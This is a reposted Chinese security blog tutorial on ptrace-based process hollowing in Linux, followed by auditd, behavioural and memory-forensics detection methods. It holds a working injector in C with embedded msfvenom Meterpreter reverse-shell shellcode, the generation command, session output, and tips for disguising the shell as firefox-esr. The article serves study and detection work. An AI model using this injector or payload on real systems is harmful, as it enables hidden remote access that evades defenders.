Linux 下的进程挖空(Process Hollowing)

admin 2024年11月10日21:12:24评论17 views字数 11906阅读39分41秒阅读模式

Linux 下的进程挖空(Process Hollowing)

进程挖空(Process Hollowing)是一种在操作系统中将任意代码注入到另一个进程中的技术。在 Linux 系统上,虽然不能像在 Windows 中那样直接将进程挂起,但可以利用 ptrace() 系统调用来实现类似的效果。这种方法通常用于增加攻击者在系统上操作的隐蔽性,绕过一些安全防护措施。

攻击者和渗透测试人员长期以来一直在隐藏他们在系统上的存在,以避免被防御团队发现,并使人们更难怀疑他们是否曾经进入他们的边界。实现此目标的一种方法是将恶意操作隐藏在机器上的合法进程中。有多种技术可以在操作系统上实现这种级别的隐身性,例如远程注入进程、侧载库或“挖空”合法进程。

虽然进程挖空是一种在 Windows 机器上隐藏自身的长期已知技术,但关于在 GNU/Linux 机器上使用它的实用文档却少得多。关于如何以自动方式检测它的使用情况的文档就更少了。本文试图填补这一空白。

流程空心化理论

Process Hollowing 是一种将任意代码注入另一个进程地址空间的方法。它的工作原理是创建一个处于“挂起”状态的进程,用任意代码(如 shellcode)重写其内存空间并恢复它。一旦恢复,该进程在操作系统实用程序看来是合法的,但在内部,它将运行恶意代码。

它主要用于逃避检测并增加攻击者在操作系统上的隐蔽性,但它也可能绕过一些防病毒软件和 EDR。这种技术使用非常频繁,以至于它既成为MITRE 的记录,也成为在线渗透测试课程的教材。截至今天,许多恶意软件仍在使用它。

Windows 上的进程挖空

要在 Windows 上实现进程挖空,可以使用该CreateProcess函数。该函数有dwCreationFlags一个参数,可以包含一个CREATE_SUSPENDED标志,使新创建的进程处于“挂起”状态,等待创建者进程将其恢复。然后需要进行一些计算来检索正确的地址,以将任意代码重写到该进程中。完成后,可以使用该ResumeThread函数恢复新创建的进程。

简而言之,函数调用如下所示:

  • CreateProcess处于暂停状态

  • 通过以下方式获取远程进程的 PEB 地址ZwQueryInformationProcess

  • ReadProcessMemory获取 PEB 中新创建进程的基地址

  • 做一些黑魔法计算来获得正确的入口点地址

  • WriteProcessMemory将 shellcode 添加到新创建的进程中

  • 通过以下方式恢复该过程ResumeThread

这在过去已被广泛记录,您可以轻松找到执行此操作的代码:

  • https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/

  • https://github.com/m0n0ph1/Process-Hollowing

Linux 上的进程挖空?

从技术角度来说,“进程挖空”这个名称并不适合本文描述的技术,因为在 Linux 上无法以暂停的方式启动进程。但是,可以使用不同的方法在执行开始后立即停止进程,这足以实现与 Windows 相同的隐秘程度。

APIptrace

Linux API ptrace就是其中一种方法。它的最初目的是用来调试其他进程,GNU 调试器就是其中之一。人们可以通过系统调用gdb观察和更改进程内存和寄存器,并更改其执行流程。ptrace()

为了演示这种技术,我们将编写一段 C 代码,以合法的程序名称作为参数,ptrace()在其中注入 shellcode 并获取反向 Meterpreter shell。

更详细地说,我们想要的是:

  • fork()使用系统调用创建子进程

  • 通过调用来停止它ptrace()

  • RIP使用 shellcode重写其寄存器目标地址,以通过以下方式重定向其执行流程ptrace()

  • 通过恢复ptrace()

如您所见,大部分繁重的工作都可以通过ptrace()系统调用完成。这是一种功能强大且易于检测的执行进程挖空方法。

首先,我们通过以下方式生成 shellcode msfvenom

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -f c

请注意,它是在 Kali 机器上本地完成的,但它可以适用于任何类型的有效载荷。

然后我们需要使用fork()系统调用来创建一个子进程:

pid_t pid = fork();

        if (pid == 0)
        {
        // child process
        ...
        }
        else
        {
        // parent process
        }
子分支包含的代码相对较少:它需要将自己声明为父进程的ptrace tracee(通过),然后执行所需的合法程序:PTRACE_TRACEME
// child process
        if (pid == 0)
        {
                // attaching to child
                if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
                {
                        perror("Could not attach to child process");
                        return 1;
                }

                execve(prog_name, params, 0);
                return 1;
        }

prog_nameparams在后面描述。

然而,父分支稍微复杂一些。首先,我们要等待子进程:

// parent process
        if (waitpid(pid, 0, 0) == -1)
        {
                perror("Failed waiting for child process");
                return 1;
        }
此后,子进程停止。我们通过ptrace()以下PTRACE_GET_REGS标志检索其寄存器的状态:
// Get child process registers
        struct user_regs_struct regs;

        if (ptrace(PTRACE_GETREGS, pid, 0, &regs) == -1)
        {
                perror("Failed getting child registers");
                return 1;
        }

现在regs.rip包含子进程的指令指针,并且将成为我们 shellcode 的写入目的地。

编写 shellcode 有点复杂。我们需要使用ptrace()标志循环调用PTRACE_POKETEXT。这会写入进程内存,但每次只能写入一个字(在我的计算机上为 8 个字节)。我们需要将 shellcode 缓冲区转换为数组unsigned long

// Rewrite RIP with our shellcode
        unsigned long addr = regs.rip;

        for (int i = 0; i < len; i = i + sizeof(unsigned long))
        {
                unsigned long w = ((unsigned long*)buf)[i/sizeof(unsigned long)];

                if (ptrace(PTRACE_POKETEXT, pid, addr + i, w) == -1)
                {
                        perror("Failed writing memory to child");
                }

                printf("Writing PID: %d Addr: 0x%08x Buf: 0x%08xn", pid, addr + i, w);
        }

一旦编写了 shellcode,我们就需要通过分离子进程来恢复执行:

// Detach from child
        if (ptrace(PTRACE_DETACH, pid, 0, 0) == -1)
        {
                perror("Failed detaching from child");
                return 1;
        }

完整代码如下:

#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>

size_t len = 130;
unsigned char buf[] =
"x31xffx6ax09x58x99xb6x10x48x89xd6x4dx31xc9"
"x6ax22x41x5ax6ax07x5ax0fx05x48x85xc0x78x51"
"x6ax0ax41x59x50x6ax29x58x99x6ax02x5fx6ax01"
"x5ex0fx05x48x85xc0x78x3bx48x97x48xb9x02x00"
"x01xbbx7fx00x00x01x51x48x89xe6x6ax10x5ax6a"
"x2ax58x0fx05x59x48x85xc0x79x25x49xffxc9x74"
"x18x57x6ax23x58x6ax00x6ax05x48x89xe7x48x31"
"xf6x0fx05x59x59x5fx48x85xc0x79xc7x6ax3cx58"
"x6ax01x5fx0fx05x5ex6ax7ex5ax0fx05x48x85xc0"
"x78xedxffxe6";


int main(int argc, char *argv[])
{
        if (argc < 2)
        {
                printf("Usage: %s binaryn", argv[0]);
                return 1;
        }

        char *prog_name = argv[1];
        pid_t pid = fork();

        char *const params[] = { prog_name, 0};

        // child process
        if (pid == 0)
        {
                // attaching to child
                if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
                {
                        perror("Could not attach to child process");
                        return 1;
                }

                execve(prog_name, params, 0);
                return 1;
        }

        // parent process
        if (waitpid(pid, 0, 0) == -1)
        {
                perror("Failed waiting for child process");
                return 1;
        }

        // Get child process registers
        struct user_regs_struct regs;

        if (ptrace(PTRACE_GETREGS, pid, 0, &regs) == -1)
        {
                perror("Failed getting child registers");
                return 1;
        }

        // Rewrite RIP with our shellcode
        unsigned long addr = regs.rip;

        for (int i = 0; i < len; i = i + sizeof(unsigned long))
        {
                unsigned long w = ((unsigned long*)buf)[i/sizeof(unsigned long)];

                if (ptrace(PTRACE_POKETEXT, pid, addr + i, w) == -1)
                {
                        perror("Failed writing memory to child");
                }

                printf("Writing PID: %d Addr: 0x%08x Buf: 0x%08xn", pid, addr + i, w);
        }

        // Detach from child
        if (ptrace(PTRACE_DETACH, pid, 0, 0) == -1)
        {
                perror("Failed detaching from child");
                return 1;
        }

        return 0;
}

旦编译并以/usr/bin/yes目标进程的形式运行,此代码就会为我们提供一个 meterpreter 反向 shell,正如预期的那样:

$ gcc -o ptrace ptrace.c
$ ./ptrace /usr/bin/yes
Writing PID: 487024 Addr: 0xf7977810 Buf: 0x096aff31
Writing PID: 487024 Addr: 0xf7977818 Buf: 0x4dd68948
Writing PID: 487024 Addr: 0xf7977820 Buf: 0x076a5a41
Writing PID: 487024 Addr: 0xf7977828 Buf: 0x5178c085
Writing PID: 487024 Addr: 0xf7977830 Buf: 0x58296a50
Writing PID: 487024 Addr: 0xf7977838 Buf: 0x0f5e016a
Writing PID: 487024 Addr: 0xf7977840 Buf: 0x97483b78
Writing PID: 487024 Addr: 0xf7977848 Buf: 0x007fbb01
Writing PID: 487024 Addr: 0xf7977850 Buf: 0x106ae689
Writing PID: 487024 Addr: 0xf7977858 Buf: 0x4859050f
Writing PID: 487024 Addr: 0xf7977860 Buf: 0x74c9ff49
Writing PID: 487024 Addr: 0xf7977868 Buf: 0x6a006a58
Writing PID: 487024 Addr: 0xf7977870 Buf: 0x0ff63148
Writing PID: 487024 Addr: 0xf7977878 Buf: 0x79c08548
Writing PID: 487024 Addr: 0xf7977880 Buf: 0x0f5f016a
Writing PID: 487024 Addr: 0xf7977888 Buf: 0x48050f5a
Writing PID: 487024 Addr: 0xf7977890 Buf: 0x0000e6ff
msf6 payload(linux/x64/meterpreter/reverse_tcp) > 
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:443 -> 127.0.0.1:38250) at 2024-09-06 09:28:13 -0400

它将作为实用程序yes的二进制文件出现top:

Linux 下的进程挖空(Process Hollowing)

如果我们尝试使用,情况也一样pidof:

$ pidof yes
487024

与ps实用程序相同:

$ ps aux | grep 487024
kali 487024  0.0  0.0   3420  2948 pts/4    S 09:28   0:00 /usr/bin/yes

如果我们尝试直接寻找它的cmdline:

$ cat /proc/487024/cmdline
/usr/bin/yes

有效地使其乍一看看起来像一个合法的过程,并且使用常用工具

更加隐秘

该yes二进制文件是一种非常不寻常的隐藏自身的选择,特别是如果你在 meterpreter 上尝试运行 shell,它将作为的子进程出现yes,看起来很可疑:

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 669754 created.
Channel 1 created.
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),106(bluetooth),113(scanner),136(wireshark),137(kaboxer)
$ pstree
...
        ├─upowerd───3*[{upowerd}]
        ├─vmtoolsd───3*[{vmtoolsd}]
        ├─vmtoolsd───2*[{vmtoolsd}]
        ├─vmware-vmblock-───2*[{vmware-vmblock-}]
        ├─xcape───{xcape}
        └─yes───sh <====

此外,该过程会有持续的网络连接,这也是不寻常的:

$ lsof -a -i4 -i6 -itcp | grep yes

yes 669561 kali 3u  IPv4 487024      0t0 TCP localhost:42152->localhost:https (ESTABLISHED)

哪个程序会生成 Shell 脚本并具有 HTTPS 连接,但却混入合法进程?浏览器是一个很好的候选者:

$ ./ptrace /usr/lib/firefox-esr/firefox-esr
Writing PID: 673509 Addr: 0x23e0b810 Buf: 0x096aff31
...
$ pstree
...
        |-dockerd---13*[{dockerd}]
        |-firefox-esr---sh
        |-haveged
...
$ lsof -a -i4 -i6 -itcp | grep firefox 
firefox-e   3711 kali 89u  IPv4 1204923      0t0 TCP 192.168.209.130:50612->93.243.107.34.bc.googleusercontent.com:https (ESTABLISHED)
firefox-e 673509 kali 3u  IPv4 1200039      0t0 TCP localhost:59738->localhost:https (ESTABLISHED)

上述情况不太可能引起注意。

检测

审计和系统调用

使用规则可以检测以前的技术auditd。审计守护进程允许通过选项检测系统调用-S。ptrace()但是,检测系统调用的范围太广,并且会给防御团队带来太多误报(想象一下人们gdb在生产系统上使用的次数)。解决此问题的方法是仅检测通过系统PTRACE_POKETEXT调用操作对其他进程内存的写入ptrace()

我们可以创建一个规则来实现该签名/etc/audit/rules.d/hollowing.rules

-a always,exit -S ptrace -F a0=4 -k hollowing_ptrace_poketext

该数字4对应于操作码PTRACE_POKETEXT

#define PTRACE_TRACEME 0
#define PTRACE_PEEKTEXT 1
#define PTRACE_PEEKDATA 2
#define PTRACE_PEEKUSR 3
#define PTRACE_POKETEXT 4
...

一旦触发./ptrace程序,就会引发几个事件:

# grep hollowing_ptrace_poketext /var/log/audit/audit.log
type=SYSCALL msg=audit(1725699376.347:67): arch=c000003e syscall=101 success=yes exit=0 a0=4 a1=a995c a2=7f349503b810 a3=10b69958096aff31 items=0 ppid=426553 pid=694619 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_poketext"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"
type=SYSCALL msg=audit(1725699376.347:68): arch=c000003e syscall=101 success=yes exit=0 a0=4 a1=a995c a2=7f349503b818 a3=226ac9314dd68948 items=0 ppid=426553 pid=694619 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_poketext"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"

另外,可以为该PTRACE_GETREGS操作创建一条规则,但就其本身而言,在我看来并不够可疑:

-a always,exit -S ptrace -F a0=12 -k hollowing_ptrace_getregs
# grep hollowing_ptrace_getregs /var/log/audit/audit.log
type=CONFIG_CHANGE msg=audit(1725700498.973:145): auid=4294967295 ses=4294967295 subj=unconfined op=add_rule key="hollowing_ptrace_getregs" list=4 res=1AUID="unset"
type=SYSCALL msg=audit(1725700502.105:155): arch=c000003e syscall=101 success=yes exit=0 a0=c a1=abda9 a2=0 a3=7ffc8959a7c0 items=0 ppid=426553 pid=703912 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts3 ses=2 comm="ptrace" exe="/home/kali/ptrace" subj=unconfined key="hollowing_ptrace_getregs"ARCH=x86_64 SYSCALL=ptrace AUID="kali" UID="kali" GID="kali" EUID="kali" SUID="kali" FSUID="kali" EGID="kali" SGID="kali" FSGID="kali"

首先需要关联一个事件hollowing_ptrace_getregs,然后关联一个或多个hollowing_ptrace_poketext事件。这样就有很高的概率产生真阳性,从而检测出攻击者。

行为检测

检测注入的另一种方法是查看进程在系统上的行为是否可疑。使用上面的例子,我们可以说,/bin/sh对于进程来说,拥有子进程或 HTTPS 持续连接是不寻常的/usr/bin/yes。但这种方法的问题在于,它需要对合法进程在操作系统上的行为有深入的了解,而这很难获得。人们可以使用机器学习来发现此类异常。

内存检测

在取证调查中,如果某人拥有进程的内存快照,则可以将进程的已知“良好”映像与当前内存中的映像进行比较。Volatility 人员为此开发了一个插件:https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py。它依赖于比较符号偏移量并在它们不同时发出警报。

结论

虽然严格来说不能算作进程挖空,但通过ptrace() Linux 上的系统调用进行的代码注入在隐蔽性方面也达到了同样的目的。在企业 Linux 环境中检测这种技术是必要的,这样才能不忽略看似合法的进程,并防止攻击者逃脱监控。

上面显示的所有代码和审计规则都可以在我的 github 上找到:https ://github.com/jeffbencteux/Linux-process-hollowing

参考

  • https://attack.mitre.org/techniques/T1055/012/

  • https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/

  • https://github.com/m0n0ph1/Process-Hollowing

  • https://security.stackexchange.com/questions/272164/is-it-wrong-to-refer-to-ptrace-process-injection-as-process-hollowing

  • https://man7.org/linux/man-pages/man2/ptrace.2.html

  • https://man7.org/linux/man-pages/man2/waitpid.2.html

  • https://trustedsec.com/blog/the-nightmare-of-proc-hollows-exe

  • https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/linux/process_hollow.py

  • https://bleach.fandom.com/wiki/List_of_Hollows

原文始发于微信公众号(Ots安全):Linux 下的进程挖空(Process Hollowing)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月10日21:12:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux 下的进程挖空(Process Hollowing)https://cn-sec.com/archives/3380226.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息